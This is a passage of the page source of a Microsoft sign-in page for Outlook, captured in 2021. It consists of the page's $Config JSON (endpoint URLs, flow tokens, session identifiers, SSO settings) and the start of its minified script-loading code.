Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
